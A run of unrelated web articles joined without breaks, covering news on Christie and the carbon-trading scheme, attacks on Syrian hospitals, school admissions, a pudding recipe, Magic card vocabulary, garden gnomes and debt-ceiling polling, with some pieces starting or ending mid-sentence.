"That was the end of his tax problems," Dubon said. "It was all legalized, more or less."
Dubon said the head of the Munich tax office, Ludwig Mirre, excused Hitler from paying tax only after first formally writing to him to ask permission. An assistant to Hitler wrote back to Mirre: "Herr Hitler accepts your proposal."
Mirre was promoted a month later to head of the German tax office and given a 41 percent pay rise.
"It's all so ridiculous," said Dubon. "But in a dictatorship everything the dictator does is correct."New Jersey Gov. Chris Christie announced plans yesterday to pull the Garden State out of the nation's only operating cap-and-trade system, spurring environmental anger, conservative cheers and speculation about his national ambitions.
It also stirred confusion about the governor's legal authority and what will happen to the carbon trading program, which caps utility carbon dioxide emissions in 10 Northeastern and mid-Atlantic states, at a time when national climate legislation appears dead on Capitol Hill.
At a news conference in Trenton, N.J., the Republican governor said he believed after months of study and meetings with scientists that humans were causing climate change and that his government needed to put policies in place to curb warming temperatures. That is a shift from last year, when Christie expressed doubts about the science behind global warming.
At the same time, though, he dealt a big blow to the Regional Greenhouse Gas Initiative, or RGGI, calling it a "failure" because it had done little on its own to curb emissions of heat-trapping gases. The initiative, which requires power producers to buy and sell permits for the right to emit CO2, has been operational since 2008.
"We remain completely committed to the idea that we have a responsibility to make the environment of our state and world better," Christie said. "We're not going to do it by participating in gimmicky programs that don't work." He said New Jersey would depart RGGI by the end of the year.
"Reduced emissions have been due to increased use of natural gas, and the decreased use of coal. We're seeing that the market, and not RGGI, has created incentives to reduce the use of carbon-based fuels," Christie added.
The state Department of Environmental Protection simultaneously released a report yesterday about New Jersey's greenhouse gas emissions, which Christie said showed that the state's emissions already stand below goals for 2020, making the program essentially moot.
National political ambitions?
Other state policies, such as programs to develop offshore wind and put solar panels on landfills, will be more effective at blocking greenhouse gases, Christie said. He announced that the state would not permit new coal-fired power plants.
The decision could gain favor with national Republicans for Christie, considering that cap and trade is an unpopular concept in the GOP, several analysts said. It also has been attacked fervently via state campaigns as an energy tax by groups like Americans for Prosperity, a group co-founded by oil billionaire David Koch.
Christie has said repeatedly in recent weeks that he is not running for president in 2012, but pundit speculation has run high about whether he will change his mind or will privately campaign for a vice presidential slot, given the governor's recent trips to Washington, D.C.
"It has become a litmus test to be opposed to cap and trade if you want to raise your stature in the Republican Party nationally," said Leigh Raymond, an associate professor of political science at Purdue University. "I can't think of another reason why he would do this."
It shows how much the Republican dynamic has changed in the East, he said, considering that GOP governors such as former New York Gov. George Pataki were among the initial backers of RGGI.
In New Jersey, the picture is more mixed.
Party control of both chambers of the Legislature is on the line in November, and this decision could play a role in key swing districts in favor of Democrats, said John Weingart, associate director of the Eagleton Institute of Politics at Rutgers University. Environmental protection continues to be popular in New Jersey among all political parties, so the governor could face some political backlash at the margins, he said.
However, the effect likely could be small, he said, since many New Jersey voters don't know what cap and trade is, despite their history of backing environmental causes.
Environmentalists slammed the decision as one that would deprive New Jersey of millions of dollars in funds for clean-energy programs at a time of a budget crisis. The program has raised more than $100 million for state coffers via participation in quarterly carbon auctions, according to statistics from the initiative.
Funds for renewable energy at risk
About half of those funds went to renewable energy and energy efficiency programs, with the rest being used for general deficit reduction in New Jersey.
Many of the gubernatorial plans outlined by Christie yesterday -- such as blocking new coal-fired plants in the state -- would have happened anyway, green groups said. They predicted that emissions would go up in the state as a result of the decision, and that it would hurt state businesses receiving RGGI-funded grants.
"We're glad the governor went to global warming school, but he didn't learn the lessons from it," said David Pringle, campaign director of the New Jersey Environmental Federation, about the governor's recent meetings with climate scientists. The state chapter of the Sierra Club said the program has helped create or save 18,000 jobs at a cost of about $6 yearly to the average ratepayer, and accused the governor of "taking the side of corporate polluters."
Several Democratic governors in the Northeast and the mid-Atlantic also joined in on the attack. Gov. Martin O'Malley (D-Md.) said, "We are in a fight for our children's future. And in this fight, some states will win and some states will lose."
But Christie garnered support from some influential business interests.
Yesterday, New Jersey Business and Industry Association President Philip Kirschner praised the governor for pulling out of a program that increases costs for residents who "are already paying some of the highest electricity rates in the nation."
The head of New Jersey's chapter of Koch-backed Americans for Prosperity, Steve Lonegan, told ClimateWire he hoped Christie's action would spur other states such as Delaware to reconsider recent decisions to stay in the initiative (see related story).
The legislatures of Delaware, New Hampshire and Maine earlier this month voted against bills that would have pulled those states out of RGGI (ClimateWire, May 12).
"I think it's a very, very powerful move for Christie, and probably should lead the way for other states to exit, as well," Lonegan said. "It's going to spell the demise of a failed program that's ineffective and nothing but a gimmick."
Lonegan said he had spent about $150,000 in New Jersey on anti-RGGI television ads.
A spokesman for Christie, Kevin Roberts, said the governor has the authority under existing state law to leave the program.
Legal challenges are possible
A Democratic official in the state Legislature agreed, saying that the 2008 statute indicates that the state's status in the program is permissive, not mandatory.
Most of New Jersey's electricity comes from in-state producers or states not in RGGI, so there is little issue about consumers continuing to pay for the program through out-of-state utility surcharges if New Jersey departs, the official said.
Yet Franz Litz, an analyst at the World Resources Institute, said the governor must go through a new rulemaking process with the state Department of Environmental Protection that could take time and prompt legal challenges.
"I would be very, very surprised if someone doesn't try to force the governor's hand," said Litz.
State Sen. Bob Smith (D), a RGGI supporter, said he also thought lawsuits were possible, although he said he would wait for a legal analysis of Christie's action from state officials before making any decisions about an official legislative response.
In case of a New Jersey withdrawal, the day-to-day operations of the carbon trading system should not be affected much, Litz said. Under existing rules, other participating states in the Northeast and mid-Atlantic "appropriately adjust" allowances bought and sold in the trading market to account for the withdrawal of one state. In a statement yesterday, RGGI said participating states would "evaluate" the departure but would continue with the next planned carbon auction on June 8.
The bigger question, according to political analysts, is whether Christie's action places a long-term chill on prospects for cap and trade in other states. California, along with several Canadian provinces, is looking at a similar carbon trading system. Christie's action also could hinder a push to tighten RGGI's cap, which has been under criticism for doing little to alter utility behavior, they said.
"It is a serious blow to RGGI and to the notion of any bipartisan cooperation on any form of greenhouse gas regulation," said Stacy VanDeveer, an associate professor of political science at the University of New Hampshire.
Reporter Evan Lehmann contributed.
Reprinted from Climatewire with permission from Environment & Energy Publishing, LLC. www.eenews.net, 202-628-6500Play Facebook
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The first primetime debate of the Republican primary race on Thursday will include ten candidates, according to Fox News: Donald Trump, Jeb Bush, Scott Walker, Mike Huckabee, Ben Carson, Ted Cruz, Marco Rubio, Rand Paul, Chris Christie and John Kasich.
Fox, which is hosting the debate in Cleveland, Ohio, announced the list of the top 10 candidates based on recent national polling on air at 6pm ET Tuesday.
Ohio Gov. John Kasich, who earlier last week was at risk of missing the cut for the primetime debate in his home state, made the cut at the 10th spot, edging out former Texas Gov. Rick Perry.
Candidates that did not make the cut will participate in a separate debate earlier on Thursday. Those Republicans are: Perry, Rick Santorum, Bobby Jindal, Carly Fiorina, Lindsey Graham, Jim Gilmore and George Pataki.
The network used the average of five recent national polls to calculate the top 10 candidates. Those polls were conducted by Quinnipiac University, Monmouth University, CBS News, Fox News and Bloomberg.
In June, the network announced that candidates making their primetime primary debate "must place in the top 10 of an average of the five most recent national polls, as recognized by Fox News leading up to August 4th at 5 PM/ET. Such polling must be conducted by major, nationally recognized organizations that use standard methodological techniques."
In a statement, RNC chairman Reince Preibus said: "Our field is the biggest and most diverse of any party in history and I am glad to see that every one of those extremely qualified candidates will have the opportunity to participate on Thursday evening. Republicans across the country will be able to choose which candidate has earned their support after hearing them talk through the issues."David Wolfe is a name you may not recognise but you’ve almost certainly seen his work on social media, often in the form of those vaguely inspirational memes with pretty pictures that make perfect share-bait.
What you might not realise is that the memes are just his marketing campaign - how he actually makes his money is far darker.
Wolfe has many revenue streams, and the pretty pictures and cool videos just serve to drive people to his page so he can get on with the real work of selling to them. A tried-and-true business model for the social media age.
The nasty part is not just what Wolfe sells, but how he pitches it. He has a simple three-stage strategy:
Farm the followers: get people to follow your social media profiles by posting “shareable content” such as memes, inspirational quotes, cool videos, that kind of thing. Scare them: tell them half-truths or even outright lies to have them frightened and vulnerable. Sell them the cure: “helpfully” point them towards products that you sell or get cutbacks from. Enjoy a comfortable life while your customers live in fear.
We already know how he builds his following, so let’s look at the next stage…Last fall, a 77-pound dachshund named Obie visited the Today show for a spot on pet obesity. “No doubt,” a veterinarian announced to Al Roker as they stood over the table where Obie lay splayed like a pork loin, “this is the biggest dachshund I’ve ever seen.” Roker wondered aloud whether the biggest dachshund might be part of a bigger problem: “Is there a correlation between overweight pet owners and overweight pets?”
Plenty of research has established that pets are good for our health; less is known about whether we might be bad for theirs. But Roker may be on to something. According to one recent study, as U.S. obesity rates shot up over the past half century, the average weight of animals living among humans also increased [1]. Another study linked pet owners’ body mass indexes to their dogs’ fat accumulation [2], backing up a 1970 survey that found that obese dogs were much more likely to be owned by obese people than by those “of normal physique” [3].
Could there be something to the old adage that people resemble their pets? The phenomenon has been amply documented. Researchers around the world have repeatedly found that strangers can match photos of dogs with photos of their owners at a rate well above chance [4]. Perhaps people are drawn to animals that look like them. In a study of female college students, those with longer hair judged flop-eared dogs—spaniels, beagles—to be more attractive, friendly, and intelligent than dogs with pointy ears; women with shorter hair concluded the opposite [5]. And the apparent affinity between owners and pets is more than fur-deep: One analysis found self-described “dog people” to be less neurotic than “cat people,” who were more curious [6]. Another study, which cross-referenced personality-test scores and breed preferences, noted that disagreeable people favored aggressive dogs [7].A medical watchdog group says government forces are responsible for 90 percent of the attacks, with opposition groups contributing.
On Wednesday, Physicians for Human Rights (PHR), a New York-based medical watchdog group, released a new interactive map and report showing that Syrian forces have been committing systematic attacks on medical personnel and facilities in opposition-held areas, resulting in the death of more than 460 medical staff.
The organization said government forces committed 90 percent of a confirmed 150 attacks on 124 facilities between March 2011 and March 2014 and that its map, which will be updated regularly, is “the most comprehensive resource on attacks on medical care in Syria.”
Government forces committed 90 percent of a confirmed 150 attacks on 124 facilities.
Before the conflict, Syria had one of the best-developed health care systems in the Arab world. Today, the U.N. estimates that 245,000 Syrians are living in besieged areas, cut off from medical supplies, and that almost half of the country’s public hospitals have been partially or totally destroyed.
We asked Erin Gallagher, PHR’s director of emergency investigations and response, to weigh in on who is targeting facility and personnel, how the attacks vary in urban and rural areas, and the toll they have taken on Syria’s medical staff.
Syria Deeply: What exactly is being targeted, and how?
Erin Gallagher: They’re targeting the medical facilities such as public and private hospitals and field hospitals, and we’ve even seen vaccination clinics, children’s clinics and eye clinics. The facilities are being targeted by aerial bombs – cluster and barrel bombs, along with shells – and then some [on-foot] storming and arson.
The facilities are being targeted by aerial bombs – cluster and barrel bombs, along with shells
That’s what’s happening in all the populated areas, from Aleppo to Homs, Hama, Damascus, Idlib, Latakia and Deir Ezzor. There’s only two places in the country where we don’t have any reports of attacks – Hassakeh and Sueda. So it’s been all over the country, and 90 percent of it has been committed by the Syrian government. Only 10 attacks we’ve heard of have been made by opposition groups, carried out by either the Islamic State of Iraq and the Levant, Jabhat al-Nusra or the Free Syrian Army.
Medical personnel themselves are also being attacked and targeted, through arrests, imprisonment, torture and executions. They are also being shelled while they’re working in hospitals, or trying to get patients out of an area. All of our figures show that the government is the party committing these crimes.
Syria Deeply: What types of violations are included on the map?
Gallagher: We know there are more attacks on medical facilities than what we’ve shown on our map. We’re only showing the ones that violate international humanitarian law. We’re just showing attacks that have occurred on functioning hospitals: when they’ve become militarized and are no longer used as hospitals, we don’t count them. These are purely the illegal, unlawful attacks.
We have several hospitals that were hit four times – and that can’t be by accident.
Most of them appear to be targeted, so either the government has used weapons that can hit a target, like missiles and shells, or even a bomb dropped low enough by a helicopter. They’ve hit hospitals multiple times – we have several hospitals that were hit four times – and that can’t be by accident. We have hospitals located in fairly remote areas with nothing else nearby, so there can be no explanation for targeting something else and accidentally hitting the hospital instead.
Syria Deeply: Are the attacks equally spread between rural and urban areas?
Gallagher: The other portion of hospitals hit are those in densely populated civilian areas, and there are no precautions made to distinguish the hospitals from anything else around them, to protect the civilians in surrounding buildings – just reckless attacks.
Syria Deeply: How do you verify the information?
The other portion of hospitals hit are those in densely populated civilian areas,
Gallagher: We’ve tried to use multiple independent sources – usually it’s three, or it could be one or two very credible detailed sources. Our numbers are conservative, we think it’s just a start. We had to stop collecting info at the end of March so that we could start working with the data we had, but we have already have heard of 20 attacks in April alone. So this has really become the norm in Syria, to attack the facilities.
We just heard today of two doctors that were killed, and we know that there’s been 49 medical personnel killed so far in 2014. Half of these were killed while working in facilities, and others via torture.
Syria Deeply: Have certain areas taken the brunt?
Gallagher: Rif Damascus has been hit very hard, and Aleppo and Homs as well. It’s a combination of these areas being both crowded, and opposition strongholds. Of the doctors who are left, many have fled and gone to practice in another area of the country, and then that area gets attacked, so they continue to move.
We know that there’s been 49 medical personnel killed so far in 2014.
My guess is that the ones who are still working inside are there for the duration. I think their biggest day-to-day struggle is trying to perform the actual medical work. They don’t always have the equipment they need, whether that’s anesthesia or antibiotics. They have to perform medical work that’s often outside their expertise. On top of it, they’re worried about bombings, so they set up field hospitals in basements – not ideal conditions. So they’re working under very difficult circumstances in besieged areas, and they have to worry about their families and being able to make a living. And about being able to survive themselves.Asian American students will make up 70 percent of the incoming freshman class at Thomas Jefferson High School for Science and Technology, the highest percentage ever for the elite magnet school in Northern Virginia.
Next year’s freshman class reflects a widening demographic divide at TJ, as the Fairfax County school is known.
A decade ago, white students made up 53 percent of the teens admitted to the school offering courses in differential equations, artificial intelligence and neuroscience. Thirty-two percent of the admitted students were Asian.
Now, amid a similar transition happening around the county, six out of 10 students at the school are Asian, while white students make up 29 percent.
According to admissions data posted online, Asian students were admitted at a higher rate than their peers. The data also shows that for the fifth year in a row, 10 or fewer black students were admitted to TJ.
Fairfax leaders have faced criticism in recent years for TJ’s historical lack of diversity, particularly among black, Hispanic and low-income students.
In 2012, an activist group representing those students filed a complaint against Fairfax County with the U.S Education Department’s Office for Civil Rights, alleging that the admission process discriminates against black, Hispanic and poor students. That complaint is ongoing.
Bob Frye, one of the longest serving black members of the Fairfax County School Board, who voted to establish TJ as a magnet school in 1985, said that the administration should take a closer look at the school’s admissions process.
“I have no interest in lowering the standards at TJ,” said Frye, 78, who served as chairman in 1999 and 2000. “I believe even now with the proper amount of preparation and interest the numbers [of black students] could surely be higher than they are now.”
The class of 2019 includes 346 Asian, 102 white, 12 Hispanic and eight black students. A total of 2,841 teens applied, and 493 were granted admission, for an overall acceptance rate of 17 percent. Of the 1,448 Asians who applied — 51 percent of the total seeking admission — 24 percent were accepted. The acceptance rate for black students was 4 percent, while the rate for Hispanic students was 6 percent and white students was 12 percent. Among low-income students, the acceptance rate was 3 percent.
Admissions statistics also highlight that more males are accepted to TJ than females. Girls compose 45 percent of the incoming freshman class, which is a smaller percentage than 10 years ago when 48 percent of the class of 2009 was female.
TJ is considered a jewel in the Fairfax County school system, and administrators and school board leaders frequently tout achievements by the school’s gifted students.
Jeremy Shughart, the TJ admissions director, said that a committee is reviewing the application process to improve diversity at the school.
“The committee is looking at a variety of admissions components and making recommendations for possible adjustments to future admissions cycles,” said Shughart. “FCPS will continue to work on increasing diversity at TJHSST and will continue to pursue outreach efforts to ensure talented underrepresented populations of students with a passion for math and science consider, apply to, and attend TJHSST as their high school option. FCPS believes in the value of diversity and the importance of fostering a challenging learning environment at TJHSST.”
One surprising detail in the admissions data shows that interest in TJ could be waning. Five years ago 3,310 students applied to TJ. Compared with this year, the number applying has dropped 14 percent.I won’t lie to you, I am 100% that person that likes to put a lot of chocolate goop into their face. However, adult responsibilities compel me to also look after my health (and figure). To remedy this, I came up with the most amazing chocolate pudding recipe, with no added sugar and an admirable amount of protein thrown in. I highly recommend this as a post-workout treat, or a post-work treat, or breakfast, or a midnight snack, I could go on, this pudding is delicious, it brings me joy, let’s get to it.
Ingredients
1 pack Silken tofu (I use Yutaka, 349g, sold in Tesco and other such supermarkets)
60g Cocoa powder
50ml Light coconut milk (the tinned kind, not the Alpro drinking kind)
6tsp Stevia
Method
1. Add ingredients to a blender, in any order you like. Blend until smooth.
2. Pour out into ramekins or glasses, and allow to chill until serving. Serves 2 quite generously. In the picture, I topped mine with fresh strawberries and carob syrup and it was nothing short of beautiful.
Per Serving:
262 Calories
19g Protein
13.3g Fat
17.6g Carbs
AdvertisementsThe world of eSports is taking off by leaps and bounds. With recent draws of attention via Justin.tv’s TwitchTV and Major League Gaming, it’s fast becoming not only a way for gamers to gather attention for their prowess, but also for companies to get their names into the right heads.
Until now, though, there’s not been a solid way for companies to reach out to gamers (and gamers to companies) in order to solidify sponsorships. Running the gamut from hardware to clothing and even hard cash, these sponsorships are an important part of the eSports ecosystem and Spawnsor might be just the answer that’s been needed.
Founded by 22 year old Corey Davin and his 20-year old developer co-founder Gui Pinto, Spawnsor is a site that is wholly dedicated to introducing competitive gamers with potential sponsors. Gamers can create profiles, post achievements and then connect with potential sponsorships via gaming-oriented brands.
Choosing to cater to both computer-based and console gamers alike, Spawnsor is allowing a wide berth for the connections to happen. Davin tells me, though, that the idea is to streamline the sponsorship process, taking it from a scenario that is usually handled via email and in-person meetings to one where exposure, metrics and ROI can be measured.
The site has just gone live, on Thursday of last week. In that week and without any advertising or fanfare, it has gathered over 400 gamers and 10 brands. Those 10 brands are powerhouse ones, as well, including CoolerMaster, SteelSeries and tt eSports.
Sponsorships are already happening and we’re sure to see more in the future on Spawnsor. Davin tells me that the site will earn revenue via premium memberships for gamers that include additional features over the free, basic memberships. Beyond that, as the site gathers traction, advertising will be placed.
Competitive gamers not being able to match up with potential sponsors is very much a first-world problem, but it’s a problem nonetheless. In that right, Spawnsor solves a need and it’s the first site in this space to do so. While it’s easily replicable, brands are traditionally very slow to move to new formats after being established elsewhere, so that should prove to help Spawnsor stick around for some time to come.
This post is part of our contributor series. The views expressed are the author's own and not necessarily shared by TNW.
Read next: Why Facebook's upcoming music service will be a game changerThe cave system beneath Montreal’s Saint-Leonard is much larger than once thought. Courtesy Luc Le Blanc, Société québécoise de spéléologie
Saint-Leonard, known as Saint-Leo, a district in eastern Montreal, boasts some of the best Italian cuisine in town—many of the nearly 92,000 Italians who moved to Quebec after World War II settled there and opened cafes, bakeries, and a long-standing flight over language (since the Italian migrants preferred English to French). It looks like the neighborhood’s vibrant street life may be matched by its underground world.
Local speleologists and cave enthusiasts were already familiar Saint-Leonard Cave, a 115-foot-wide cavern discovered in 1812 beneath what is now Pie XII Park. And now they will have more to explore, as the cave network was recently discovered to be vastly larger than once thought.
Stalactites are rare in cold-climate caves, according to experts. Courtesy Luc Le Blanc, Société québécoise de spéléologie
“Two years ago we were making some tests outside one of the cave walls and found a crack,” says François Gélinas, of the Quebec Speleology Society. “We used an endoscopic camera, which showed that beneath the crack lay a room.” He explains that they were unable to break through the limestone around the crack. But then last month society members identified a softer spot, and were able to open a passage. “After three hours of drilling we were able to open a hole,” he says. “We looked inside and saw that it was a much longer cave system that what we originally thought.... It is an incredibly long network that stretches for at least 600 feet right under the city.”
Experts believe that the cave system took shape during the last Ice Age, when receding glaciers left fissures in the bedrock. Glacial meltwater helped further carve out the cave, which has many delicate stalactites dangling from its 20-foot-high ceiling—rare for a cave so far north. “Stalactites form when water dissolves limestone by virtue of its acidic components, but cold water is less acidic so it takes more time for formation to take place, like half an inch by a thousand years or so—so it is very rare to find them here,” Gélinas says.
After leading the local press on a cave tour, which included crawling on hands and knees through narrow, muddy passages, the team is now waiting for the dry season, when the groundwater retreats, so they can continue exploring. “We want to find out just how far the cave system reaches but right now we can only go in with scuba diving equipment,” he says. “When the cave water will retreat—around February—it will be easier for us |
The art and flavor text do a great job of providing context for the meaning. Somebody cracked a thesaurus and looked up "bright" to ensure card name diversity for this one, and I'm glad he or she did. I think I'll look for excuses to say “fulgent” more in conversation.
Odious
There is a second card that includes “odious,” and it’s Stabwhisker the Odious, the legendary Rat Shaman, of course! That’s the flip side of Nezumi Shortfang of Kamigawa.
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While our troll example very likely smells horrible, the correct answer is C. Look at what he's doing to that poor rat! You know you hate him. The picture and flavor text once again do a great job of communicating the meaning of odious. This is another word that ought to see more day-to-day use.
Pernicious
This is a pretty well-known card, and I dare say it may be the first time quite a few people see it.
[poll id="256"]
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The answer is C, and the card certainly is deadly and destructive to most things with a converted mana cost less than or equal to X. I'm not sure the art or flavor text gives much of a hint here, but it certainly caused many players to consult a dictionary.
Phthisis
This card wins for Best Real Word Lacking Vowels on a Magic Card.
[poll id="257"]
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If you chose A, you were right! The card text is dominated by an explanation of the suspend mechanic, but the art does a nice job showing a progressing illness.
Pyrrhic
There is only one card with “pyrrhic” in Magic’s history.
[poll id="258"]
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The answer is A. Creatures return to the graveyard with -1/-1 counters and "still bearing their mortal wounds," which seems like an excessive cost if you are one of the creatures I suppose.
Taiga
There are several good land vocabulary words in Magic, including “caldera” (Caldera Lake), “ziggurat” (Ancient Ziggurat), “cairn” (Graven Cairns), and “atoll” (Coral Atoll).
[poll id="259"]
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The answer is C. The scenic nature of the artwork conveys the meaning of the word quite well.
These ten words are just a few of the thousands and thousands printed on Magic cards. What words have you learned from Magic? Thanks for reading!
Nick Vigabool
@MrVigaboolCertain things in life will always be uncool - permed hair, tying your jumper around your waist, scrunchies, Cliff Richards... The list goes on, but one item that won't be appearing on there is the garden gnome. That's right; this former beacon for the terminally-unhip has been reclaimed by the world of cool. We take you on a step-by-step guide to glorious gnomes, those gaudy garden critters we all love to hate.
Forget the gnomes 'round your Nan's house; the only fishing you'd catch these gnomes doing is for the enemy - with guns. They're made by Etsy seller Shawn Thorsson who creates moulds and casts in his home workshop. Whether its the prone rifleman, granade slinging renegade or his machine gun toting dwarf - blast the crap out of cats that poo in your mum's flowerbed with these angry garden soldiers.
But not all combat gnomes are on rotation down at the bottom of your garden; these American military gnomes have gone roaming in Afghanistan. The mother of a Marine and president of the Gorge Heroes Club (which sends gifts and cards out to overseas troops) RaeLynn Ricarte started sending gnomes - painted in military garb - to local battalions serving in Afghanistan and Iraq after seeing one on the television. Enthusiastically, troops started sending photographs of the gnomes'serving' in military situations in the middle east back to the USA, and the images became an internet hit.
But not all military associations are cool, as shown by Ottmar Hoerl's 1,205 Nazi gnome troop. The artist landed himself (and his legion of blinging Nazi numbers) in hot water when he put them on display in Nurembourg. It is an offense to publically display of distribute symbols of nazism in Germany- flags, insignia, uniforms, slogans and forms of greeting such as the "heil Hitler" salute are all banned. Hoerl was investigated by prosecutors concerned that his instillation propagated Nazi iconography when they went on display in 2009, but Hoerldefended his political gnomes stating they "highlighted the danger of political opportunism and right-wing ideology" rather than commemorating the Nazis, adding "in 1942 I would have been murdered by the Nazis for this work". Touche.
If you want a garden hero, but not one dressed in camo-print, then how about making your very own Batgnome and Robin crime-fighting duo? Faster than you can say "holy guacamole", the Papier boy will show you how to customise a run-of-the-mill gnome and turn him into a crime-fighting superhero over at Indestructables.com. Keep those villainous snails and feral beetle-bugs at bay with Supergnome - he'll kick their asses minus the annoyingly one dimensional dialogue. "Holy semantics Batman!"
One thing universally acknowledged about gnomes is their uncanny ability to stand in the same position without moving for a long time. In fact, they never move. Or do they? Stealth is this gnome's middle gname; Ninja Gnome can dish out the 'five point palm exploding heart technique' in the blink of an eye, but you'll never see him do it. With his sneaky ninja moves, he's so disciplined in maintaining the sense of the inanimate, he won't even blink an eye when you're looking at him. He might look like all he wants to do it cuddle, but he's watching... and waiting.
Got gnome? Tell us your gnome related stories.Police in the German city of Cologne launched a special operation at an employment center in the city's southwest following reports of an armed person threatening staff there.
Police investigated reports that a woman was threatening people with a gun at the job agency. Employees were ordered to stay inside their offices, police told Rundschau-online.
According to the latest statement by law enforcement on Twitter, “nothing suspicious” was found at the site.
The search has now concluded.
Citing police, Rundschau-online said that authorities received the tip-off from a local employee.
“We barricaded the door immediately and sat in the room quietly with our customers. From there we heard sirens of police, who surrounded the building,” an eyewitnesses told the Express newspaper.
“We did not dare to look out of the door,” the eyewitness went on to say.
At the time of what appeared to be a false alarm, law enforcement officers were already inside the building, as they had an arrest warrant for a separate male.
The man was on the wanted list for threatening fellow residents at an asylum center on Wednesday.
#polizei#köln Durchsuchung des Jobcenters beendet, keine verdächtigen Feststellungen im Gebäude. Mehr Infos in der späteren Pressemeldung. — Polizei NRW K (@PolizeiKoeln) July 28, 2016
According to Kolner Stadt-Anzeiger, police were aware that the man in question, reportedly a Syrian national, had an appointment at the employment center and were waiting for him there. The outlet says the male “acted aggressively towards police.”
Meanwhile, Express also reports that the alleged Syrian national was part of a group of five foreign job seekers, who apparently also acted in a threatening manner towards job center staff. The four others were briefly detained but then set free.
Germany has witnessed five attacks in the past 12 days, mainly in the south of the country. Islamic State (IS, formerly ISIS/ISIL) claimed responsibility for two of the assaults. Police are currently investigating potential links the other perpetrators might have had to the terrorist group.JERUSALEM — The Israeli military announced on Friday that it had uncovered a sophisticated tunnel that stretched hundreds of yards into its territory from the Gaza Strip and could have been used to attack or kidnap Israelis.
Lt. Col. Peter Lerner, a military spokesman, told reporters that fresh footprints and tools found inside the tunnel from southern Gaza suggested it had been worked on even “in the last few days,” and that its design, with many offshoots, made it “the most advanced tunnel that we’ve exposed.” Though the tunnel did not reach an Israeli town or village, Colonel Lerner said, “it wasn’t that far — a quick sprint and you could attack a community.”
Hamas, the militant Palestinian faction that controls the Gaza Strip, played down the significance of the tunnel — and of Israel’s intelligence feat in finding it. A spokesman for its military wing said the tunnel had been exposed by bad weather, which also caused parts of it to collapse.
“This tunnel was unsuitable for use,” said the spokesman, who was identified only as Abu Obaida. “This is not a new tunnel, and it was uncovered due to the rainstorm last week. The discovery was not an intelligence achievement, as the enemy tries to promote.”The online headline said it best: "DC could become best place to have a baby, be sick, or have parents."
We may not all bear or raise children, but we all have parents or partners or other loved ones who occasionally need care from us, and we are all susceptible to an illness or injury that can turn our lives and finances topsy-turvy. We all need affordable time for caregiving - and most don't have it.
Decades after the rest of the world figured out how to deal with paid time off, the United States is finally moving in that direction. Eight states just received grants from the Department of Labor to support family and medical leave insurance (FMLI) programs. Three jurisdictions - DC, New York, and Connecticut - may win in the coming year, and more victories are sure to follow.
New poll numbers underline the rising support for a policy guaranteeing workers can access pay while they're out on leave. The support crosses all demographics and political lines. The biggest rise? Among Republican supporters. And more voters say the issue will influence their decisions at the ballot box.
Many factors are contributing to this momentum, including attention from the administration; involvement by a growing number of private sector partners, including business owners and health professionals; increased resources for grassroots coalitions; and more research showing the costs of doing nothing and the benefits of setting up FMLI programs. A Rhode Island Republican State Senator, Christopher Scott Ottiano, told the Associated Press in May that he had "opposed [that state's bill] out of fear it would be onerous for businesses, but he said his thinking is 'evolving," Ottiano, who is a doctor as well as an elected officials, has seen how the program helped many of his patients.
But perhaps the most important driver is the ever expanding pool of activists on the front lines - people who have lived the financial and physical consequences of lacking affordable leave and come to see that change is possible if people act together.
Family Values @ Work just completed a booklet titled, "Why I Became an Activist," profiling a dozen leaders who became engaged through our paid sick days or FMLI campaigns.
They're people like Nancy Yarborough in Milwaukee, Wisconsin. Because she stayed at her mother's side when her health deteriorated, Nancy experienced a month without pay with consequences that still reverberate. She felt isolated. Then someone told her about a coalition to win a state paid leave program, and asked her to take part. Becoming engaged "helps me push pass the hurt and pain in my mother's honor," she said. Her daughters look up to her. Nancy described the kinds of activities she's been doing: canvassing, making calls, giving testimony - and planning strategy.
High school student Yair Buendia in Eugene, Oregon, saw that families in his Latino community had no access to paid sick days. His mother went to work sick and he would have to miss school when a younger sibling was sick, jeopardizing his efforts to get into college. Yair felt it was "an honor to be part of the group speaking out."
Maria Fortes is a Cape Verdean immigrant living in New Bedford, Massachusetts. She helped win earned sick time through a ballot initiative in that state. "We spoke to 4692 people," she said. "4062 became members. We the people can truly make things happen if we organize. "
Natasha West-Baker, a former grocery store worker and now an organizer for United Food and Commercial Workers in Seattle, put it this way: "Being part of this campaign helped me find my voice and recognize that I have power, and that power can change things for the better."A new Bloomberg poll finds that Americans think spending cuts should be attached to a debt ceiling hike by 61-28. This is being widely portrayed as proof the public sides with Republicans on the debt limit. That’s nonsense: The poll doesn’t test the actual GOP position, which is to demand an Obamacare delay and a host of other conservative goodies in exchange for a hike. But still, recent chatter has it that perhaps Republicans can deflect blame for economic havoc from default on to Obama.
That’s delusional, says Joel Benenson, Obama’s lead pollster. Benenson made an argument similar to the one he made about the 2012 campaign — which turned out to be right. He noted the key is how both sides are perceived in terms of who is really standing up for the middle class, and suggested that would shape how the public apportions blame for default and economic turmoil.
“They’re deluding themselves,” Benenson told me, referring to Republicans. “They were held accountable when they did this [during the debt limit battle] in 2011. They were held accountable for putting the recovery at risk throughout the 2012 election. And hard working Americans who are getting up every day doing their jobs are taking a very dim view of what they’re seeing from the Republican Congress right now.”
In 2012, Republicans were convinced the bad economy — and Obama’s low economic approval ratings — meant the guy in charge would get the blame and get thrown out. It didn’t happen. Benenson wrote a piece after the election explaining the GOP miscalculation: Obama won because swing voters concluded he was the one on their side and that his values and concerns were more in touch with their own.
Benenson said the current battle over the debt limit will be viewed through a similar prism — one defined by how each side is perceived. Today’s New York Times/CBS poll finds that only 21 percent approve of Congressional Republicans, and that only 12 percent think GOP policies favor the middle class, versus 65 percent who think they favor the rich. Meanwhile, far more think Obama is trying to work with Republicans than the other way around.
In the debt limit battle, Benenson said, “Republicans won’t be perceived as fighting for average Americans who are working their tails off and want the country to move forward. They are seen as tied in with special interests and placating the extreme wing of their party instead of doing what’s right for working Americans.”
Asked to comment on the Bloomberg poll showing 61 percent want spending cuts tied to the debt limit, Benenson said: “People on average do not know that the debt limit refers to obligations and bills approved by Congress over time.”
Benenson maintained broader perceptions of the two sides would matter far more. He noted that the low standing of the GOP helped sink the party in 2012, and that its approval ratings have sunk even further since then.
“The American people continue to see Republicans as being captive to the extreme wing of their party and repeatedly putting our economic recovery at risk through obstructionist political acts,” he said.
Indeed, Republicans are expected to ask for a host of demands, such as more spending cuts and the rolling back of Wall Street regulations, that could showcase the party’s conservative economic priorities and make this battle dovetail with broader perceptions of both sides. “Republicans continue to be a party that is out of touch with the economic values of hard working Americans,” Benenson said.
